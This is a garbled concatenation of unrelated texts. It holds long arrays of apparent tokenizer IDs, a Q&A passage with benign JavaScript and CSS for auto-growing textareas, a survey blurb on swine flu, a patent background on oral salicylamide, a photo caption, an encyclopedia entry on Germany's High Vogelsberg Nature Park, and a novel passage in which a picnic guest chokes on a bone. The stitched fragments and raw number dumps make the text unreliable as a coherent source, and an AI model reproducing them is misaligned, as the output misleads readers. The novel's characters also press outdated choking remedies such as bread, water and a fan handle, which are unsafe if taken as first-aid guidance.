7561, 908, 275, 49885, 13, 3270, 14, 13901, 13, 285, 29750, 90, 1221, 280, 20724, 15, 1707, 403, 1142, 24648, 5012, 13, 2299, 13, 347, 281, 253, 10307, 273, 436, 2854, 15, 6470, 280, 1190, 15320, 310, 247, 4942, 47261, 2854, 13, 1907, 247, 1824, 35051, 273, 760, 470, 15, 19, 2558, 387, 1884, 15, 14577, 15, 36, 15, 2091, 32939, 11966, 432, 23368, 390, 43642, 13, 247, 6832, 2408, 273, 3779, 280, 1190, 15320, 10224, 281, 40709, 1309, 10056, 949, 253, 22496, 10649, 285, 476, 320, 12372, 275, 253, 49131, 15, 24503, 347, 1199, 347, 581, 14, 19016, 273, 253, 2854, 310, 3663, 275, 436, 5133, 15, 187, 28144, 13, 247, 1534, 5110, 273, 253, 3779, 280, 1190, 15320, 534, 1057, 564, 715, 2900, 310, 33502, 1309, 11058, 949, 253, 16356, 8099, 281, 697, 7124, 27658, 504, 285, 25649, 13335, 13, 6747, 273, 534, 556, 253, 6799, 27331, 2425, 15, 3308, 13, 1077, 1652, 273, 253, 3779, 280, 1190, 15320, 32939, 11966, 275, 4891, 24411, 4948, 14190, 253, 2614, 5542, 275, 3939, 830, 15, 187, 3039, 11966, 20368, 4087, 13, 3779, 280, 1190, 15320, 24021, 953, 7126, 49885, 13, 3270, 14, 13901, 13, 29750, 90, 1221, 280, 285, 9043, 800, 6128, 15, 380, 4103, 4757, 273, 841, 6128, 310, 6178, 7976, 15, 4923, 23803, 5286, 310, 45783, 323, 954, 2515, 273, 897, 13, 247, 878, 4558, 323, 247, 2097, 273, 32939, 41572, 3576, 8322, 273, 3779, 280, 1190, 15320, 15, 15490, 275, 30200, 13, 3747, 15, 608, 13, 4059, 187, 187, 20266, 608, 13, 4059, 1040, 3463, 10035, 353, 2727, 770, 187, 187, 53, 264, 322, 15, 17966, 16, 36597, 456, 5687, 187, 187, 1093, 1171, 746, 187, 187, 37, 1875, 47543, 689, 16335, 27, 21263, 1502, 2516, 18223, 1595, 13, 12060, 253, 4797, 6037, 3313, 12174, 42311, 14, 52, 33667, 13, 285, 9069, 3452, 254, 2399, 251, 275, 253, 2502, 5332, 434, 39073, 33838, 7469, 45, 6415, 13, 8778, 275, 4702, 1840, 16335, 1309, 3946, 323, 253, 35251, 1023, 2320, 1094, 6037, 10684, 15, 187, 187, 53, 264, 322, 15, 17966, 16, 36597, 456, 5687, 187, 187, 1093, 1171, 746, 187, 187, 37, 1875, 47543, 689, 16335, 27, 21263, 1502, 2516, 18223, 1595, 13, 12060, 253, 4797, 6037, 3313, 12174, 42311, 14, 52, 33667, 13, 285, 9069, 3452, 254, 2399, 251, 275, 253, 2502, 5332, 434, 39073, 33838, 7469, 45, 6415, 13, 8778, 275, 4702, 1840, 16335, 1309, 3946, 323, 253, 35251, 1023, 2320, 1094, 6037, 10684, 15, 12412, 657, 462, 1241, 4978, 13375, 4913, 187, 187, 510, 4855, 657, 462, 1241, 4978, 13375, 4913, 6734, 8696, 275, 253, 1029, 6056, 273, 253, 657, 462, 1241, 4978, 275, 253, 9145, 273, 253, 5685, 1375, 273, 388, 26491, 15, 733, 10949, 253, 2919, 273, 19525, 14445, 1475, 38273, 35269, 13, 253, 4275, 629, 273, 253, 11129, 2491, 13, 2176, 34039, 275, 253, 21813, 273, 657, 462, 1241, 4978, 76, 250, 261, 13, 43105, 350, 1952, 76, 250, 261, 13, 443, 466, 39583, 285, 11505, 14, 44, 29415, 304, 14, 44, 250, 261, 15, 380, 5603, 556, 271, 2170, 273, 854, 3245, 15, 1812, 10771, 15818, 285, 310, 3021, 11467, 347, 1781, 347, 253, 5347, 2846, 273, 12911, 15, 2490, 187, 510, 5603, 369, 13205, 275, 22716, 347, 253, 4855, 657, 462, 1241, 4978, 8694, 2356, 14564, 313, 45, 2287, 19696, 859, 348, 25374, 45071, 2880, 11826, 379, 657, 462, 1241, 4978, 10, 342, 271, 2170, 273, 19956, 10771, 15818, 285, 27624, 275, 23305, 281, 253, 4855, 657, 462, 1241, 4978, 33087, 4913, 313, 45721, 2244, 348, 25374, 30844, 11826, 379, 657, 462, 1241, 4978, 481, 17842, 50276, 30488, 285, 16648, 352, 369, 11848, 281, 31184, 15, 2504, 10771, 15818, 13, 275, 17342, 352, 369, 27624, 347, 253, 4855, 657, 462, 1241, 4978, 13375, 4913, 15, 496, 6157, 352, 369, 28148, 407, 854, 3245, 15, 1812, 10771, 15818, 281, 697, 1246, 6070, 15, 187, 187, 510, 657, 462, 1241, 4978, 310, 271, 1711, 44091, 2919, 342, 253, 6253, 1666, 2711, 2280, 275, 3060, 15, 380, 3753, 5603, 310, 36719, 407, 6804, 9741, 13, 10583, 1373, 285, 9685, 1373, 1794, 302, 11192, 347, 973, 347, 247, 5439, 30743, 15, 43275, 17795, 1985, 4513, 275, 512, 10746, 273, 253, 17066, 15, 2596, 273, 253, 2022, 49074, 84, 275, 6176, 6613, 407, 13729, 7564, 73, 404, 15, 9658, 253, 21646, 326, 6054, 275, 253, 657, 462, 1241, 4978, 403, 253, 3697, 18758, 78, 285, 418, 1920, 254, 13, 534, 403, 629, 273, 253, 35776, 1473, 31567, 285, 3021, 253, 26226, 254, 8281, 985, 13, 285, 253, 427, 301, 1473, 13, 427, 301 ]

nisl eget dapibus condimentum, ipsum felis condimentum nisi, eget luctus est tortor vitae nunc. Nam ornare dictum augue, non bibendum sapien pulvinar ut.</textarea> </div> External JSFiddle. A: Simple jQuery solution is: $(function() { $('textarea').each(function() { $(this).height($(this).prop('scrollHeight')); }); }); Check Fiddle. As you need a plain JavaScript solution, use following script that was created by User panzi. You can view the original answer here. var observe; if (window.attachEvent) { observe = function (element, event, handler) { element.attachEvent('on'+event, handler); }; } else { observe = function (element, event, handler) { element.addEventListener(event, handler, false); }; } function init () { var text = document.getElementById('textarea'); function resize () { text.style.height = 'auto'; text.style.height = text.scrollHeight+'px'; } /* 0-timeout to get the already changed text */ function delayedResize () { window.setTimeout(resize, 0); } observe(text, 'change', resize); observe(text, 'cut', delayedResize); observe(text, 'paste', delayedResize); observe(text, 'drop', delayedResize); observe(text, 'keydown', delayedResize); text.focus(); text.select(); resize(); } Check Fiddle Here. A: No Javascript required. You can display a no-scroll (ie. automatically re-sizing) editable text area with the following HTML and CSS: .textarea { width:250px; min-height:50px; height:auto; border:2px solid rgba(63,63,63,1); } <div class="textarea" contenteditable="true"> A: The Mozilla Developer Network has an Autogrowing textarea example on their HTMLTextAreaElement page. You should definitely check this out if you want to stay away from CSS3 solutions that can break on older browsers. Here is the code from the example. The following example shows how to make a textarea really autogrow while typing. function autoGrow(oField) { if (oField.scrollHeight > oField.clientHeight) { oField.style.height = oField.scrollHeight + "px"; } } textarea.noscrollbars { overflow: hidden; width: 300px; height: 100px; } <form name="myForm"> <fieldset> <legend>Your comments</legend> <p> <textarea class="noscrollbars" onkeyup="autoGrow(this);"></textarea> </p> <p> <input type="submit" value="Send" /> </p> </fieldset> </form> Autoadjust This example will take care of the case where you remove lines. function autoAdjustTextArea(o) { o.style.height = '1px'; // Prevent height from growing when deleting lines. o.style.height = o.scrollHeight + 'px'; } // =============================== IGNORE ===================================== // You can ignore this, this is for generating the random characters above. var chars = '\n abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'.split(''); var randRange=function(min,max){return max==null?randRange(0,min):~~(Math.random()*(max-min)+min);} var randChars=function(chrs,len){return len>0?chrs[randRange(chrs.length)]+randChars(chrs,len-1):'';} // ============================== /IGNORE ===================================== // Get a reference to the text area. var txtAra = document.getElementsByClassName('noscrollbars')[0]; // Generate some random characters of length between 150 and 300. txtAra.value = randChars(chars,randRange(150,300)); // Trigger the event. autoAdjustTextArea(txtAra); textarea.noscrollbars { overflow: hidden; width: 400px; /** This is via your example. */ } <form name="myForm"> <fieldset> <legend>Your comments</legend> <p> <textarea class="noscrollbars" onkeyup="autoAdjustTextArea(this);"></textarea> </p> <p> <input type="submit" value="Send" /> </p> </fieldset> </form> Senior nurses' opinions. We asked senior nurses to tell us what has been done in their trusts to manage the swine flu pandemic and what more needs to be done to prevent it from escalating out of control. This is what they said.This invention relates to orally administratable dosage units for use as an analgesic, antipyretic, anti-inflammatory, or sedative. Salicylamide is widely used in analgesic, anti-inflammatory, and antipyretic preparations. There are many conflicting reports, however, as to the efficacy of this drug. Salicylamide is a relatively insoluble drug, having a water solubility of only 0.2 percent at 30.degree.C. When orally administered from tablets or capsules, a substantial amount of salicylamide fails to dissolve during passage through the gastrointestinal tract and can be recovered in the feces. Often as much as one-third of the drug is lost in this manner. Additionally, a significant portion of the salicylamide which does go into solution is conjugated during absorption through the intestinal walls to its glucuronide and sulfate derivatives, neither of which has the desired pharmacological activity. Thus, very little of the salicylamide orally administered in solid dosage forms reaches the blood stream in active form. When administered intravenously, salicylamide elicits excellent analgesic, anti-inflammatory, antipyretic and sedative responses. The relative strength of these responses is dose dependent. Because intravenous administration is impractical for most conditions of use, a need remains for a means of orally administering effective amounts of salicylamide.Day in Pictures, Aug. 5, 2014 August 5, 2014 |By Mike Moffitt Ted S. Warren/Associated Press 18of19 Daring ballet over Seattle: Pilots John Klatt, flying the blue Air National Guard MX-S airplane, and Jeff Boerboon in the red Jack's Links Extra 300L plane, fly in formation above Seattle during practice for the Boeing Seafair Air Show. Ted S. Warren/Associated Press 18of19 Daring ballet over Seattle: Pilots John Klatt, flying the blue Air National Guard MX-S airplane, and Jeff Boerboon in the red Jack's Links Extra 300L plane, fly in formation above Seattle during practice for the Boeing Seafair Air Show.High Vogelsberg Nature Park The High Vogelsberg Nature Park () lies in the highlands of the Vogelsberg in the centre of the German state of Hesse. It covers the region of eleven rings around Oberwald, the central part of the mountain range, certain municipalities in the counties of Vogelsbergkreis, Wetteraukreis, Gießen and Main-Kinzig-Kreis. The park has an area of 883.36 km² and is thus roughly as large as the capital city of Berlin. The park was designated in 1956 as the High Vogelsberg Protected Area (Landschaftsschutzgebiet Hoher Vogelsberg) with an area of 225 km² and renamed in 1957 to the High Vogelsberg Conservation Park (Naturschutzpark Hoher Vogelsberg). Between 1963 and 1969 it was expanded to 384.47 km², in 1967 it was renamed as the High Vogelsberg Nature Park. In 2004 it was enlarged by 883.36 km² to its present extent. The Vogelsberg is an old volcanic region with the largest basalt mass in Europe. The nature park is characterised by mixed forest, grassland and wetland biotopes as well as a raised bog. Numerous streams radiate in all directions of the compass. One of the main watersheds in Germany runs by Grebenhain. Among the rivers that rise in the Vogelsberg are the Schwalm and Lauter, which are part of the Fulda basin and thus the Weser river system, and the Nidda, Nid

[ 11305, 2927, 19858, 2585, 42578, 314, 2220, 253, 6200, 15, 50276, 2512, 187, 4238, 417, 247, 1966, 15906, 275, 8184, 28, 247, 1643, 3168, 14, 84, 7193, 39675, 84, 3815, 9377, 187, 783, 2553, 273, 253, 12685, 15, 50276, 510, 2602, 13427, 273, 253, 10212, 2879, 281, 253, 187, 303, 10862, 273, 1551, 285, 6330, 15, 50276, 2993, 2242, 10678, 275, 253, 10763, 273, 352, 13, 187, 6050, 253, 2457, 20724, 323, 253, 11484, 497, 1146, 1160, 15, 50276, 688, 617, 2564, 187, 4238, 642, 1404, 1297, 326, 275, 2852, 1107, 326, 6200, 369, 281, 320, 2330, 275, 187, 379, 2564, 342, 271, 41691, 273, 3075, 285, 4709, 13, 342, 253, 277, 37567, 273, 247, 11010, 187, 3529, 8513, 625, 23071, 685, 3075, 15, 50276, 2993, 369, 9680, 760, 273, 1551, 281, 617, 187, 85, 1250, 24601, 13, 273, 13212, 281, 617, 45671, 323, 10763, 13, 913, 7348, 187, 23739, 273, 399, 1351, 3586, 525, 1299, 434, 3361, 13, 347, 344, 6225, 5015, 281, 46937, 13, 187, 13070, 272, 617, 281, 23240, 253, 26938, 10998, 13512, 15, 50276, 2214, 253, 1551, 13, 703, 369, 35725, 187, 395, 42965, 13, 285, 12506, 2, 689, 9177, 5356, 25106, 2, 50276, 1989, 31735, 703, 1900, 187, 38215, 25106, 1051, 187, 187, 510, 20325, 17088, 512, 4704, 13, 285, 851, 83, 2575, 616, 1039, 2439, 253, 187, 3423, 1854, 15, 50276, 40, 21100, 293, 1160, 247, 4892, 273, 15981, 285, 3534, 247, 39262, 187, 332, 8102, 15, 187, 187, 3, 1147, 4453, 283, 1026, 4638, 2, 50276, 4967, 403, 38134, 16961, 1900, 594, 1199, 625, 12994, 187, 14644, 1463, 4394, 13, 285, 2139, 403, 1821, 594, 11339, 326, 597, 476, 626, 2096, 187, 3529, 597, 403, 32, 50276, 2773, 434, 581, 273, 253, 1142, 42060, 875, 253, 35717, 15, 187, 3074, 2255, 519, 410, 14402, 79, 982, 15, 50276, 3074, 1821, 283, 9903, 626, 2, 50276, 4967, 865, 187, 187, 3, 16830, 937, 399, 1351, 43659, 13, 33371, 2994, 275, 2914, 273, 253, 17848, 13, 275, 187, 10927, 281, 247, 21850, 273, 21558, 13, 346, 30875, 984, 283, 9328, 452, 3356, 187, 1851, 84, 449, 187, 187, 3, 4497, 13, 368, 1364, 246, 1807, 731, 598, 10380, 15, 50276, 3726, 476, 626, 1379, 598, 253, 795, 40338, 64, 187, 2189, 1476, 50276, 40, 21100, 293, 27511, 13, 34352, 1066, 275, 247, 8566, 1652, 2280, 275, 534, 187, 379, 1211, 9246, 8505, 25368, 281, 2226, 15, 50276, 3, 1466, 479, 923, 15, 50276, 7161, 513, 359, 187, 2043, 32, 50276, 52, 25755, 90, 11624, 13, 11152, 778, 5860, 885, 15, 50276, 1231, 1833, 1265, 327, 253, 11624, 347, 247, 187, 64, 4210, 277, 8, 3703, 38527, 7481, 285, 22544, 253, 806, 41899, 8098, 273, 776, 22115, 3254, 1078, 187, 35777, 327, 281, 253, 1524, 2136, 18295, 42, 3524, 4130, 310, 18254, 15, 50276, 1466, 434, 320, 187, 4818, 614, 13, 285, 6008, 1077, 7808, 281, 1056, 352, 1390, 562, 15, 50276, 1147, 434, 824, 247, 9912, 187, 453, 8855, 387, 247, 38769, 672, 253, 3997, 434, 689, 19514, 3022, 247, 12142, 672, 253, 28338, 187, 7110, 4783, 15, 50276, 3039, 359, 1849, 2218, 13, 253, 305, 48059, 3091, 452, 616, 1614, 15, 50276, 64, 4045, 64, 305, 48059, 187, 48497, 778, 5860, 885, 865, 187, 187, 42231, 17244, 369, 9680, 273, 247, 2176, 3434, 275, 253, 1708, 5366, 934, 15, 50276, 2993, 187, 36903, 5344, 326, 443, 21100, 293, 369, 17190, 5972, 281, 2312, 13, 281, 11990, 253, 7372, 13, 187, 4609, 751, 247, 1698, 11267, 934, 273, 24511, 574, 762, 40033, 253, 6330, 273, 253, 1390, 187, 11151, 15, 50276, 688, 253, 22654, 273, 617, 1211, 3075, 13, 703, 3543, 247, 268, 606, 273, 14938, 323, 617, 187, 5465, 405, 19514, 66, 268, 606, 273, 509, 4346, 323, 617, 1211, 35387, 15, 50276, 2042, 760, 187, 31080, 472, 651, 320, 5802, 281, 1091, 1728, 2, 533, 347, 1048, 347, 4030, 8588, 285, 187, 12311, 1132, 497, 521, 5110, 13, 642, 12407, 4930, 651, 320, 273, 667, 1961, 15, 50276, 2512, 187, 4238, 2717, 323, 352, 533, 281, 873, 617, 9970, 285, 30565, 13, 285, 283, 1763, 37536, 8145, 187, 936, 1056, 1841, 347, 1652, 2820, 347, 1896, 323, 643, 952, 15, 50276, 2993, 2197, 187, 66, 8580, 2439, 253, 2829, 281, 17639, 443, 21100, 293, 434, 2798, 15, 187, 187, 3, 42, 1353, 1512, 22658, 281, 320, 18254, 15, 50276, 1147, 3133, 247, 8138, 273, 673, 281, 6008, 13, 3185, 273, 187, 38385, 2920, 12422, 581, 434, 2564, 327, 253, 10763, 273, 352, 512, 15, 50276, 3074, 253, 1072, 187, 20513, 11624, 403, 25427, 1175, 15, 50276, 42, 4282, 849, 2223, 1078, 10331, 359, 3091, 187, 709, 254, 281, 247, 16264, 15901, 2220, 247, 16264, 12927, 449, 187, 187, 3, 4374, 13, 533, 795, 14626, 64, 417, 1476, 50276, 40, 21100, 293, 23383, 6233, 27459, 15, 50276, 2993, 369, 24192, 281, 187, 2887, 3586, 525, 1299, 1361, 2994, 281, 247, 1273, 7238, 13, 285, 21409, 352, 342, 774, 763, 28, 187, 1661, 466, 1272, 281, 923, 46937, 9257, 256, 12545, 8618, 715, 617, 18616, 796, 15, 50276, 18869, 187, 19583, 13, 2860, 600, 6993, 4455, 281, 1978, 387, 17699, 253, 49801, 18638, 15, 50276, 1147, 369, 594, 187, 36423, 323, 443, 21100, 293, 281, 320, 5211, 13, 281, 8913, 763, 4709, 13, 285, 4444, 3524, 275, 697, 187, 5070, 15, 50276, 2993, 369, 347, 3158, 281, 268, 12943, 2220, 7871, 273, 1175, 13, 347, 954, 952, 187, 609, 2220, 1821, 1951, 273, 10319, 13, 285, 16211, 17244, 434, 8580, 369, 4209, 281, 5007, 187, 379, 19851, 16893, 32372, 15, 50276, 2993, 18739, 285, 703, 10062, 28, 1643, 952, 476, 513, 187, 783, 767, 1841, 387, 581, 673, 342, 562, 18369, 272, 581, 390, 253, 643, 13, 533, 187, 40, 21100, 293, 2210, 23991, 5954, 949, 253, 390, 25115, 13, 7562, 617, 30418, 275, 247, 187, 7322, 282, 32058, 282, 273, 22569, 13, 285, 17905, 2717, 273, 731, 533, 271, 187, 406, 16559, 1593, 3159, 273, 2380, 15, 50276, 5872, 275, 253, 4766, 273, 247, 9542, 187, 36817, 703, 6331, 13, 285, 3261, 23071, 387, 617, 3331, 15, 187, 187, 3, 1276, 434, 253, 2647, 865, 187, 187, 42231, 17244, 9461, 342, 247, 288, 9898, 4866, 13, 19460, 281, 3984, 13, 285, 8042, 281, 187, 379, 13386, 15, 50276, 3, 34, 1051, 5961, 1051, 50276, 5498, 626, 1476, 187, 187, 510, 346, 5498, 626, 3, 369, 11704, 407, 247, 21850, 273, 253, 4430, 13, 347, 2167, 281, 19031, 187, 12594, 667, 3959, 273, 1361, 15, 50276, 2993, 7428, 1977, 247, 1643, 11433, 8, 4181, 285, 6225, 187, 33681, 253, 6150, 13, 1223, 617, 24835, 3261, 387, 581, 1529, 13, 24152, 187, 2858, 11874, 15, 187, 187, 3, 34, 5961, 2, 50276, 688, 253, 22462, 15, 50276, 510, 795, 56, 31981, 64, 2, 50276, 42, 1833, 1918, 617, 4366, 281, 14, 6170, 15, 187, 64, 37666, 64, 11761, 1476, 187, 187, 3, 1147, 434, 3499, 6992, 49646, 247, 5961, 15, 50276, 42, 858, 352, 2378, 15, 50276, 1147, 369, 17876, 15, 50276, 29859, 187, 4238, 3240, 27185, 449, 187, 187, 6432, 525, 1299, 753, 2717, 15, 50276, 8389, 2927, 497, 4229, 327, 253, 3168, 4677, 18627, 187, 26204, 253, 4797, 13, 327, 253, 13574, 534, 9461, 285, 6497, 15, 50276, 1328, 6898, 247, 187, 48556, 30464, 342, 1824, 285, 2206, 6179, 13, 5253, 275, 1133, 15, 50276, 34, 2774, 4817, 13, 253, 187, 484, 248, 1123, 273, 253, 13574, 3395, 625, 17088, 13, 344, 9461, 34304, 285, 187, 13678, 264, 281, 16211, 17244, 434, 1930, 15, 187, 187, 2993, 12293, 1977, 432, 779, 347, 344, 13781, 13, 34475, 779, 1977, 13, 533, 344, 574, 187, 16564, 617, 2454, 285, 4934, 25060, 327, 15, 187, 187, 3, 9034, 750, 436, 15, 50276, 40, 31709, 352, 2, 50276, 1147, 588, 4459, 352, 1066, 449, 187, 187, 510, 34475, 9881, 42893, 2716, 273, 253, 5558, 13, 344, 8933, 728, 352, 342, 521, 187, 628, 1133, 13, 1223, 703, 49725, 9357, 13, 285, 268, 9581, 13, 285, 49725, 9357, 969, 13, 285, 19460, 187, 348, 6856, 1977, 15, 50276, 510, 5484, 574, 417, 557, 39079, 2400, 253, 5961, 13, 352, 574, 5608, 760, 187, 936, 35007, 253, 9479, 2348, 6345, 15, 187, 187, 6432, 525, 1299, 26282, 896, 281, 253, 2829, 285, 17571, 247, 32163, 273, 10238, 15, 50276, 40, 21100, 293, 187, 395, 46937, 15014, 4618, 14, 26731, 13, 285, 11561, 15, 50276, 9586, 275, 253, 2774, 534, 352, 187, 10178, 2668, 281, 564, 285, 281, 1705, 13, 16211, 17244, 434, 2454, 574, 2668, 247, 12861, 43192, 28, 187, 783, 16109, 6225, 327, 617, 22977, 13, 533, 703, 1160, 247, 9391, 386, 3434, 387, 187, 681, 25909, 13, 6306, 342, 617, 896, 501, 24828, 3531, 281, 617, 24835, 13, 187, 601, 326, 597, 1537, 320, 40335, 253, 8184, 273, 617, 23490, 15, 187, 187, 3, 42, 1849, 3982, 368, 690, 10238, 15, 50276, 2773, 9727, 352, 2223, 672, 1824, 10224, 15, 187, 6892, 88, 352, 323, 247, 2774, 13, 840, 305, 31709, 352, 2644, 15, 50276, 1909, 1943, 247, 5313, 347, 368, 476, 15, 187, 1147, 434, 247, 44397, 5471, 13, 533, 352, 588, 1509, 15, 50276, 34, 1943, 18470, 1024, 2, 1051, 50276, 12455, 8912, 187, 262, 2644, 449, 187, 187, 2993, 48134, 352, 432, 779, 13, 1531, 15416, 352, 275, 617, 6208, 13, 19460, 342, 247, 187, 4774, 326, 369, 38123, 281, 923, 13, 48722, 285, 851, 2147, 13, 285, 41778, 187, 26204, 521, 4430, 15, 50276, 510, 5961, 574, 417, 4395, 15, 187, 187, 4509, 3212, 2210, 247, 23189, 321, 273, 1030, 1808, 318, 15, 50276, 40, 21100, 293, 285, 46937, 22007, 187, 10495, 13, 6789, 562, 13477, 7997, 15, 187, 187, 3, 7673, 1824, 1476, 187, 187, 3, 44, 570, 293, 1066, 28, 23104, 634, 1481, 2, 1051, 50276, 23067, 486, 634, 13386, 15, 50276, 17919, 1066, 4515, 2, 187, 7673, 10238, 28, 305, 31709, 795, 10984, 64, 1476, 187, 187, 42231, 17244, 11372, 731, 8423, 13, 617, 11233, 22627, 896, 432, 617, 9970, 15, 50276, 2993, 187, 21407, 1266, 1070, 281, 3984, 13, 533, 253, 8511, 10788, 7835, 574, 642, 25253, 13, 617, 2927, 187, 9095, 432, 581, 2454, 281, 253, 643, 13, 285, 327, 1016, 347, 703, 3261, 627, 6497, 187, 783, 277, 37567, 273, 32144, 4709, 15, 50276, 3726, 574, 1239, 253, 7075, 275, 16211, 17244, 434, 187, 2653, 265, 13, 253, 1735, 2774, 597, 3047, 352, 6706, 2935, 275, 253, 5982, 12338, 19501, 187, 1171, 617, 509, 3934, 15, 50276, 2993, 642, 3356, 16371, 731, 13, 533, 2210, 37335, 13, 187, 296, 1221, 7695, 562, 617, 3564, 275, 4549, 15, 50276, 10759, 2454, 369, 2502, 285, 278, 1519, 1070, 13, 285, 187, 1344, 606, 600, 13, 3499, 23522, 4391, 15, 187, 187, 40, 21100, 293, 369, 3168, 347, 2929, 13, 533, 703, 4934, 617, 509, 3934, 1805, 685, 253, 187, 23660, 407, 617, 1930, 13, 285, 7560, 275, 11874, 13, 1268, 28232, 15, 187, 187, 3, 42231, 17244, 13, 1611, 13, 795, 14626, 64, 281, 320, 7107, 2, 50276, 1394, 1056, 1841, 7197, 407, 26575, 187, 10383, 15, 50276, 1231, 795, 9846, 64, 1361, 368, 15, 50276, 1147, 588, 320, 512, 987, 15, 50276, 17222, 13383, 187, 17873, 1066, 1051, 50276, 4943, 434, 253, 6016, 273, 619, 7989, 15, 50276, 17222, 326, 15, 50276, 24953, 2, 50276, 37331, 187, 262, 973, 1066, 15, 50276, 4013, 13, 1053, 626, 13, 1053, 626, 1918, 598, 1476, 187, 187, 2214, 846, 581, 18439, 2332, 16211, 17244, 574, 2197, 253, 7989, 24428, 715, 187, 5641, 689, 253, 5024, 273, 253, 28900, 15, 50276, 2214, 247, 2774, 275, 617, 46347, 703, 187, 6204, 264, 21802, 281, 956, 5972, 13, 285, 399, 1351, 4541, 4395, 521, 1899, 187, 601, 347, 281, 1462, 875, 617, 285, 5434, 15, 187, 187, 2347, 1142, 9506, 574, 38667, 1580, 597, 574, 644, 26174, 22813, 327, 253, 187, 34495, 32, 50276, 2598, 1643, 19514, 601, 8483, 4552, 314, 1643, 13, 2568, 2217, 281, 24028, 253, 41128, 187, 28936, 273, 1495, 2, 50276, 3650, 3815, 281, 16211, 17244, 5972, 13, 533, 671, 281, 253, 187, 2435, 1428, 327, 6204, 398, 13, 2210, 1024, 253, 1524, 5837, 326, 436, 7343, 369, 642, 187, 1206, 338, 1981, 9369, 273, 247, 2774, 13, 533, 247, 22072, 6680, 875, 1495, 285, 187, 26975, 15, 50276, 510, 5961, 369, 247, 1048, 581, 13, 45678, 275, 824, 247 ]

oving eyes dwelt lingeringly upon the scene. There was not a human creature in sight; a few white-sailed yachts alone broke the surface of the waters. The soft lap of the waves added to the impression of rest and peace. She lay drinking in the beauty of it, while the final preparations for the meal were being made. In her mind was no prevision that in future years that scene was to be associated in her mind with an extremity of pain and fear, with the dawning of a joy that hurt more sharply than pain. She was conscious only of rest to her tired limbs, of satisfaction to her craving for beauty, acutely conscious of Dane Peignton's presence, as he stood talking to Teresa, helping her to arrange the cushioned seats. For the rest, she was weary and discouraged, and oh! overpoweringly lonely! But nowadays she always felt lonely... The servants pronounced all ready, and retraced their way across the field path. Grizel made a tour of inspection and gave a favourable verdict. "It looks--scrum! Why are stray meals always so much more attractive than proper ones, and why are men so stupid that they can't understand that they are? That's one of the many distinctions between the sexes. All women adore picnics. All men--don't! Why?" "Perhaps," Dane volunteered, seating himself in front of the cloth, in response to a gesture of invitation, "perhaps because--they have longer legs." "Well, you must tuck them up somehow. They can't take up the _whole_ side!" Grizel objected, sinking down in a compact little mass in which her own legs apparently ceased to exist. "Let me see. Where do we begin? Savoury eggs, chicken mayonnaise. We'll start on the eggs as a _hors d'oeuvre_, and dull the first fierceness of our appetites before getting on to the real business.--I hope everyone is hungry. Let's be polite, and eat very slowly to make it last out. It's such a blank feeling at a picnic when the feed's over,--like a wedding when the bride has gone. When we've done, the gulls shall have their turn. _Do_ gulls eat mayonnaise?" Cassandra was conscious of a certain effort in the light babble. She suspected that Grizel was forcing herself to talk, to ease the strain, which like a low rumble of thunder had underlain the peace of the last week. In the midst of her own pain, she felt a pang of regret for her hostess,--a pang of compunction for her own shortcomings. If only Bernard would be induced to return home! but as long as fine weather and good play were his portion, no persuasion would be of any avail. There was nothing for it but to set her teeth and endure, and--incidentally!-- to make things as little trying as possible for other people. She sent a smile across the table to cheer Grizel's heart. "I'm too lazy to be hungry. It seems a waste of time to eat, instead of peacefully feeding one's mind on the beauty of it all. All the same these eggs are mighty good. I wonder how often before tea we shall refer to a painted sail upon a painted ocean." "Yes, but _try_ not!" Grizel pleaded earnestly. She was relieved to see Peignton help himself to a second egg, and consume it with relish; relieved to see Teresa carefully sifting sugar into her lemonade. Such simple, homely acts seemed to keep at bay the creeping dread. It was so easy for Grizel to be happy, to banish fear, and plant hope in its place. She was as quick to pounce upon signs of good, as most people are upon menaces of evil, and Cassandra's smile was sufficient to send her spirits racing upwards. She ate and she talked; few people can do the two things at one time with out neglecting one or the other, but Grizel came triumphantly through the ordeal, keeping her listeners in a gentle ripple of laughter, and demanding nothing of them but an occasional word of response. Then in the middle of a complicated sentence she stopped, and looked sharply at her friend. "What's the matter?" Cassandra rose with a hasty movement, struggled to speak, and pointed to her throat. "A... bone... Don't!" The "Don't" was accompanied by a gesture of the arm, as though to thrust away any offer of help. She walked away a few yards' distance and stood facing the sea, while her companions looked at one another, sympathetic but calm. "A bone! In the salad. The _Wretch_! I'll give her notice to-night. _Poor_ dear!" "It's horrid swallowing a bone. I did it once. It was rabbit. Mother was quite frightened." Peignton said nothing. His eyes were fixed on the white figure outlined against the blue, on the shoulders which rose and fell. He filled a tumbler with water and sat waiting, glass in hand. A moment passed, the upheave of the shoulders became more pronounced, he rose swiftly and walked to Cassandra's side. She stepped away from him as he approached, waving him away, but he had seen her face and kept steadily on. "Drink this. Gulp it! It will carry it down." The waving fingers spilled half of the liquid, he steadied it with his own hand, while she gulped, and panted, and gulped again, and struggled choking away. The drink had not dislodged the bone, it had served only to hinder the sharpened breath. Peignton hurried back to the table and seized a lump of bread. Grizel and Teresa stared wide-eyed, and silent. Even in the moment which it had taken to go and to come, Cassandra's face had taken a deeper hue; the damp stood on her forehead, but she made a gallant effort at composure, standing with her back resolutely turned to her companions, so that they might be spared the sight of her struggles. "I've brought you some bread. That moves it often when water fails. Chew it for a moment, then gulp it whole. As big a piece as you can. It's a wretched feeling, but it will pass. A big bite now!... Swallow it whole." She snatched it from him, crammed it in her mouth, struggled with a force that was frightening to see, choked and retched, and staggered against his arm. The bone had not moved. From behind came a murmur of consternation. Grizel and Teresa swept forward, calling out confused instructions. "More water!" "Kneel down; bend your head!... Massage your throat. Press downwards! More bread; gulp _hard_!" Cassandra faced them suddenly, her lips curved back from her teeth. She struggled to speak, but the hoarse sounds had no coherence, her eyes rolled from one face to the other, and on each as she looked there fell the dawning of mortal fear. They had read the terror in Cassandra's eyes, the next moment they saw it afresh in the sudden violent breakdown of her composure. She no longer avoided them, but came nearer, stretching out her hands in appeal. Her face was red and mottled, and strangely, horribly changed. Grizel was white as paper, but she kept her composure better than the girl by her side, and spoke in calm, level tones. "Cassandra, try, _try_ to be quiet! You make things worse by rushing about. We _will_ help you. It will be all right. Try pushing something down... Here's the handle of my fan. Try that. Hard! Push it well down. Oh, don't, don't give up!" For after one desperate trial Cassandra had sent the fan spinning into space over the edge of the cliff. For a moment in her desperation she looked inclined to follow herself, and Dane quickly moved his position so as to stand between her and danger. How many moments had elapsed since they had been happily seated on the grass? So few,--so pitifully few, yet enough to wreck the exquisite machine of life! Not alone to Cassandra herself, but also to the anguished onlookers, came now the realisation that this accident was no trifling happening of a moment, but a grim battle between life and death. The bone was a long one, lodged in such a

